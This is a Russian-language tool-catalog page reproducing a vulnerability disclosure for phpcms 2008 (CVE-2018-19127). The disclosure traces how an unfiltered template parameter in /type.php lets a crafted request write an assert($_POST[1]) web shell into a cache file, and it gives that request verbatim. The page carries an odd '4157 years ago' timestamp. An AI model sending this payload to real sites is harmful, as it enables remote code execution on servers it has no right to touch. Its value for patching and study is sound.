Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
phpcms-2008-CVE-2018-19127 | Kitploit
Инструменты/GitHubGitHub/ab1gale/phpcms-2008-cve-2018-19127
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийВеб-безопасность
GitHubab1gale/phpcms-2008-cve-2018-19127

phpcms-2008-CVE-2018-19127

Репозиторий
4157 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

phpcms-2008-CVE-2018-19127

Недавно мы обнаружили уязвимость в /type.php исходного кода phpcms 2008. Когда злоумышленники отправляют специально сформированные запросы вида "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss", вредоносное содержимое (в данном случае "@unlink(FILE);assert($_POST[1]);") будет записано в кэш-файл (в данном случае "/cache_template/rss.tpl.php") на сайте под управлением phpcms 2008.

В /type.php есть следующий код:

root@kitploit:~
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

А template() определена в /include/global.func.php со следующим кодом:

root@kitploit:~
template_compile($module, $template, $istag);

Затем она вызывает template_compile(), которая определена в /include/template.func.php следующим образом:

root@kitploit:~
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);

В атакующем payload переменная $template устанавливается в "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss".

Таким образом, полный путь, передаваемый в file_put_contents(), теперь выглядит как "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php", который PHP интерпретирует как "data/cache_template/rss.tpl.php". Содержимое "@unlink(FILE);assert($_POST[1]);" будет записано в этот файл, после чего злоумышленник сможет использовать его как веб-шелл для выполнения произвольного кода.

Корень проблемы в том, что переменная $template не фильтруется перед использованием в составе пути к файлу и содержимого файла.

Мы связались с вендором phpcms через способ, указанный на его официальном сайте, но телефон недоступен, а сообщение осталось без ответа. Phpcms 2008 не является новейшей версией phpcms, однако многие пользователи до сих пор используют эту версию. Обнаруженная нами уязвимость ранее не была найдена и ей не был присвоен CVE. Пожалуйста, присвойте уязвимости идентификатор CVE-id, чтобы мы могли предупредить пользователей о ней.

Скачать инструмент